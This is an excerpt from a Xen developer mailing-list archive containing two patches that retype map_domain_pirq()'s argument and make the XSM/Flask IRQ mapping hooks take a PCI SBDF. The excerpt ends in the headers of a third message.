From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:24:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:24:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374173.1621146 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohnW-0005jk-Ra; Tue, 28 Jul 2026 13:24:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374173.1621146; Tue, 28 Jul 2026 13:24:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohnW-0005jd-OC; Tue, 28 Jul 2026 13:24:42 +0000
Received: by outflank-mailman (input) for mailman id 1374173;
 Tue, 28 Jul 2026 13:24:41 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohnV-0005jM-Dv
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:24:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohnU-002vuo-Qv
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:24:40 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad98-e002-0a2a0a5209dd-0a2a450cee00-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:24:40 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad98-f479-0a2a450c0019-d1558035d914-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:24:40 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4954a32cf1eso20203925e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:24:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85bc62basm61860788f8f.13.2026.07.28.06.24.38
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:24:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245080; x=1785849880; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=31bEzBE374yqE4es14uilqJ/7IGdLVYHPRoJ2VGKJ8Y=;
        b=P9U2qKww9AQtG3VFAf3RjUgAESmqEdskQWIPmmKEvi8SM3u44uGOYzI+2YoUiuCcwW
         ygAKfR567D165ZNf+2X9kIxWjKrmY4QgOa1KwVngcMXmAwgjOoVO9d8psrAhTHGXS1D0
         DUf74AcWmc6oLvFUt1jMa0n+hMOmUv8pB1xrMpPIY5pQ3F+aTDyxeC4+uI6SeYBGizAw
         zalQpWUUWeHVjpIL80tREhu0IbPihYDw+2e9MAgp0t3syeTsWbSOx4JjNcq63JkfYc+W
         U1KqLWlj0o140Rv3vAlfSHMsiVRKQtkZJxO22KYnpa3a7IIbNn4ZB2rOfkqv3bAvXsVt
         FVxA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245080; x=1785849880;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=31bEzBE374yqE4es14uilqJ/7IGdLVYHPRoJ2VGKJ8Y=;
        b=BeRLB6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002:a05:600c:524f:b0:495:51b6:174f with SMTP id 5b1f17b1804b1-496c656539amr27433565e9.20.1785245080164;
        Tue, 28 Jul 2026 06:24:40 -0700 (PDT)
Message-ID: <4ea749a8-4bc4-41c7-92fe-ceb029ab9afb@suse.com>
Date: Tue, 28 Jul 2026 15:24:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 21/24] x86: type-correct last parameter of map_domain_pirq()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785245080-026DEA5B-E641C06B/0/0
X-purgate-type: clean
X-purgate-size: 2091

This was meant to allow for non-MSI data to be passed if necessary, but
the way XSM/Flask uses the (propagated) argument that's not going to work
anyway without further adjustments. As no secondary use has surfaced in
many years, switch to using the correct type.

Leave XSM alone, as that'll be changed subsequently anyway (to then also
no longer use plain void).

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/x86/include/asm/irq.h
+++ b/xen/arch/x86/include/asm/irq.h
@@ -27,6 +27,7 @@ typedef struct {
 } vmask_t;
 
 struct irq_desc;
+struct msi_info;
 
 /*
  * Xen logic for moving interrupts around CPUs allows manipulating interrupts
@@ -161,7 +162,7 @@ struct arch_pirq {
 int pirq_shared(struct domain *d , int pirq);
 
 int map_domain_pirq(struct domain *d, int pirq, int irq, int type,
-                           void *data);
+                    struct msi_info *msi);
 int unmap_domain_pirq(struct domain *d, int pirq);
 int get_free_pirq(struct domain *d, int type);
 int get_free_pirqs(struct domain *d, unsigned int nr);
--- a/xen/arch/x86/irq.c
+++ b/xen/arch/x86/irq.c
@@ -2180,7 +2180,7 @@ int get_free_pirqs(struct domain *d, uns
 #define MAX_MSI_IRQS 32 /* limited by MSI capability struct properties */
 
 int map_domain_pirq(
-    struct domain *d, int pirq, int irq, int type, void *data)
+    struct domain *d, int pirq, int irq, int type, struct msi_info *msi)
 {
     int ret = 0;
     int old_irq, old_pirq;
@@ -2214,7 +2214,7 @@ int map_domain_pirq(
         return 0;
     }
 
-    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, data);
+    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, msi);
     if ( ret )
     {
         dprintk(XENLOG_G_ERR, "dom%d: could not permit access to irq %d mapping to pirq %d\n",
@@ -2245,7 +2245,6 @@ int map_domain_pirq(
 
     if ( type == MAP_PIRQ_TYPE_MSI || type == MAP_PIRQ_TYPE_MULTI_MSI )
     {
-        struct msi_info *msi = (struct msi_info *)data;
         struct msi_desc *msi_desc;
         struct pci_dev *pdev;
         unsigned int nr = 0;



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:25:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:25:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374180.1621154 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohoC-0006I6-2S; Tue, 28 Jul 2026 13:25:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374180.1621154; Tue, 28 Jul 2026 13:25:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohoB-0006Hz-Vr; Tue, 28 Jul 2026 13:25:23 +0000
Received: by outflank-mailman (input) for mailman id 1374180;
 Tue, 28 Jul 2026 13:25:23 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohoB-0006Hn-68
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:25:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohoA-00HBk8-F3
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:25:22 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68adb5-2eae-0a2a0a5409dd-0a2a450b9cb2-40
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:25:22 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68adc2-b7e8-0a2a450b0019-d155802cb9d0-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:25:22 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4954a2e73a9so20486015e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:25:22 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4615f5fsm74360985e9.9.2026.07.28.06.25.20
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:25:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245122; x=1785849922; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=1ExWWmCax9YKIf9+ZpJTMdhUNqkD9KZ5pQgLLOZBXpU=;
        b=XvDk9J0A4GlaKJnHhe55VwETJh1a/ttqhWKkJ0ia0c0wHJQdCoqC72jBq71FWet28T
         4fndU7xgLGU7ERhn+oUozJawErKY+eS0dthmimk0swTcHtErLaYNBROT9SC/RrpdTZx2
         EnEyiO6h8MKLGHof0TXAdkvWv4Qy6VM8+zWajoohI87hQQPh+bbwK9/ipAYvegPFZ9JX
         Gqj8KgiUXMIqf9xbXI1l0Goss2w8xLOs3/h3WYFL9rWkmnPSuJUf4COHrNs4/cG4PoG0
         MaDY5xxz0d6C44ITL0bvFpriwCGQAv4nr2CBP6kVezMFy/8UjR8WMggg4wj+iDJFnx9L
         J7jw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245122; x=1785849922;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=1ExWWmCax9YKIf9+ZpJTMdhUNqkD9KZ5pQgLLOZBXpU=;
        b=UuN+9xR+jdM2h6KKXHtk4vun7Kdbo1VOvLaj9bwtYmLEYfAesplSSQNpS2VmbbokFT
         x9NRa3CU9ep3uKx7bDysCXdsE2douo70O+Iy40cU+P6W6bq1Wc/8vuNWuVy16EN5S608
         muH5flpRy+LNPU4DbPQDRNOa7rpeLk7ULsQ6XyQpvwV+CgFWauTOGg6pIjQqSdjdmMkp
         ojN3QneR7cEZG3wb6KnWR5DfToOo0lYetlH6Ti5pgSRObOGCBK4Xep2C1bMg7jitAmTP
         +Z0Bg/WvNZ78KOzjuxUy44GjwkwwCTMYrDKRGRZdVO2BSnJU5NNidQRS7aiimQ2hxaoH
         /sLg==
X-Gm-Message-State: AOJu0YwwC4vrd6dKHnjxmryuSHDVzUQABY71PIi+FMQNZ1s7ZPj8ViHy
	gAGBI92S0i2jrAth4bDzM6Gj5Z5ShjsWzPqMGGDOFeItKdgAzOxeE5bWZugtiaVLyet88NwJtIH
	n3un4rQ==
X-Gm-Gg: AR+sD10fC+7dsVU/bX5wm+mDu1mPoPMJm3G7WjWhb2YyXRYN4E35Lp6AD8q2BSxU790
	X8dNymzcDGjhZQ2mutUzBgDkeFFki6Z9eIZaYr0SbQgWukBJY3aBVYw/oFqzJgGCY2qiGU1vP9y
	OGQXjOsIbNpydF4tXt0Tu0wrh4ky8ZujVb0aKFfGqjwCb9Ti2JcT+pc6+dPTKhkHS1Z1VBf5DS8
	Gw2uDcIbcNdRo5HhVF8841eIe+Jf3KDQkxAoFRxC90sLdJ167RRMQptKdfa+cI8Rqv0j3UlkJKZ
	nNAGkbj2I7CrTp2ACN12FquvxU8AzzklwTgMF6kF0hlKkaUHrFWQ7ikuF6AzzEYdLONY2CtIwVR
	Zj/EQgZR0lpzrfeFw6AvnSjn6fYgqwMlw79eAbysYVBg1ghzb4L7YElnVxiUKF0T644wuhSeJb0
	SiNd3w26OTfwR5/TNCDDpJ5aNVFdLe/Lsrtc2KyLp32psrk5hs0CIE7l05Jpuwf7xP5A==
X-Received: by 2002:a05:600c:4fc7:b0:493:f140:c3fb with SMTP id 5b1f17b1804b1-496c6414d84mr33949815e9.7.1785245121792;
        Tue, 28 Jul 2026 06:25:21 -0700 (PDT)
Message-ID: <a1c5dd1c-9b7b-4bc2-b202-7e2a4eb210e2@suse.com>
Date: Tue, 28 Jul 2026 15:25:20 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 22/24] XSM: pass just SBDF to xsm_{,un}map_domain_irq()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
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kLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785245122-AA0C59EA-B7762E0C/0/0
X-purgate-type: clean
X-purgate-size: 4820

That's what Flask needs, and by unifying the hooks flask_map_domain_msi()
can then also serve both flask_{,un}map_domain_irq().

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
How come Arm doesn't use xsm_unmap_domain_irq()?

--- a/xen/arch/x86/irq.c
+++ b/xen/arch/x86/irq.c
@@ -2214,7 +2214,7 @@ int map_domain_pirq(
         return 0;
     }
 
-    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, msi);
+    ret = xsm_map_domain_irq(XSM_HOOK, d, irq, msi ? &msi->sbdf : NULL);
     if ( ret )
     {
         dprintk(XENLOG_G_ERR, "dom%d: could not permit access to irq %d mapping to pirq %d\n",
@@ -2442,7 +2442,7 @@ int unmap_domain_pirq(struct domain *d,
      */
     if ( !d->is_dying )
         ret = xsm_unmap_domain_irq(XSM_HOOK, d, irq,
-                                   msi_desc ? msi_desc->dev : NULL);
+                                   msi_desc ? &msi_desc->dev->sbdf : NULL);
 
     if ( ret )
         goto done;
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -470,7 +470,7 @@ static XSM_INLINE int xsm_map_domain_pir
 #endif /* CONFIG_HAS_PIRQ */
 
 static XSM_INLINE int xsm_map_domain_irq(
-    XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
+    XSM_DEFAULT_ARG struct domain *d, int irq, const pci_sbdf_t *sbdf)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
@@ -491,7 +491,7 @@ static XSM_INLINE int xsm_unbind_pt_irq(
 }
 
 static XSM_INLINE int xsm_unmap_domain_irq(
-    XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
+    XSM_DEFAULT_ARG struct domain *d, int irq, const pci_sbdf_t *sbdf)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -71,8 +71,8 @@ XSM_HOOK(int, schedop_shutdown, struct d
 XSM_HOOK(int, map_domain_pirq, struct domain *, bool)
 #endif
 
-XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
-XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const void *)
+XSM_HOOK(int, map_domain_irq, struct domain *, int, const pci_sbdf_t *)
+XSM_HOOK(int, unmap_domain_irq, struct domain *, int, const pci_sbdf_t *)
 XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1030,17 +1030,14 @@ static int cf_check flask_map_domain_pir
 #endif /* CONFIG_HAS_PIRQ */
 
 static int flask_map_domain_msi (
-    struct domain *d, int irq, const void *data, uint32_t *sid,
+    struct domain *d, int irq, pci_sbdf_t sbdf, uint32_t *sid,
     struct avc_audit_data *ad)
 {
 #ifdef CONFIG_HAS_PCI_MSI
-    const struct msi_info *msi = data;
-    uint32_t machine_bdf = msi->sbdf.sbdf;
-
     AVC_AUDIT_DATA_INIT(ad, DEV);
-    ad->device = machine_bdf;
+    ad->device = sbdf.sbdf;
 
-    return security_device_sid(machine_bdf, sid);
+    return security_device_sid(sbdf.sbdf, sid);
 #else
     return -EINVAL;
 #endif
@@ -1066,15 +1063,15 @@ static uint32_t flask_iommu_resource_use
 }
 
 static int cf_check flask_map_domain_irq(
-    struct domain *d, int irq, const void *data)
+    struct domain *d, int irq, const pci_sbdf_t *sbdf)
 {
     uint32_t sid, dsid;
     int rc = -EPERM;
     struct avc_audit_data ad;
     uint32_t dperm = flask_iommu_resource_use_perm(d);
 
-    if ( irq >= nr_static_irqs && data )
-        rc = flask_map_domain_msi(d, irq, data, &sid, &ad);
+    if ( irq >= nr_static_irqs && sbdf )
+        rc = flask_map_domain_msi(d, irq, *sbdf, &sid, &ad);
     else
         rc = get_irq_sid(irq, &sid, &ad);
 
@@ -1091,32 +1088,15 @@ static int cf_check flask_map_domain_irq
     return rc;
 }
 
-static int flask_unmap_domain_msi (
-    struct domain *d, int irq, const void *data, uint32_t *sid,
-    struct avc_audit_data *ad)
-{
-#ifdef CONFIG_HAS_PCI_MSI
-    const struct pci_dev *pdev = data;
-    uint32_t machine_bdf = (pdev->seg << 16) | (pdev->bus << 8) | pdev->devfn;
-
-    AVC_AUDIT_DATA_INIT(ad, DEV);
-    ad->device = machine_bdf;
-
-    return security_device_sid(machine_bdf, sid);
-#else
-    return -EINVAL;
-#endif
-}
-
 static int cf_check flask_unmap_domain_irq(
-    struct domain *d, int irq, const void *data)
+    struct domain *d, int irq, const pci_sbdf_t *sbdf)
 {
     uint32_t sid;
     int rc = -EPERM;
     struct avc_audit_data ad;
 
-    if ( irq >= nr_static_irqs && data )
-        rc = flask_unmap_domain_msi(d, irq, data, &sid, &ad);
+    if ( irq >= nr_static_irqs && sbdf )
+        rc = flask_map_domain_msi(d, irq, *sbdf, &sid, &ad);
     else
         rc = get_irq_sid(irq, &sid, &ad);
 



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:27:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:27:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374188.1621164 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohq0-0006vw-EN; Tue, 28 Jul 2026 13:27:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374188.1621164; Tue, 28 Jul 2026 13:27:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohq0-0006vp-AM; Tue, 28 Jul 2026 13:27:16 +0000
Received: by outflank-mailman (input) for mailman id 1374188;
 Tue, 28 Jul 2026 13:27:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohpz-0006vj-03
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:27:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohpy-00ETnQ-9V
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:27:14 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ae30-2eae-0a2a0a5409dd-0a2a4508dce4-8
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:27:14 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68adf6-f659-0a2a45080019-d1558030c5ef-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:26:14 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-4954c0833b4so28701745e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:26:14 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45c297dsm74981765e9.7.2026.07.28.06.26.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:26:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245174; x=1785849974; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=A9LQ0YbONOfKcGHn8Pxg/3chj8rv49uQXmbI7DaWPL4=;
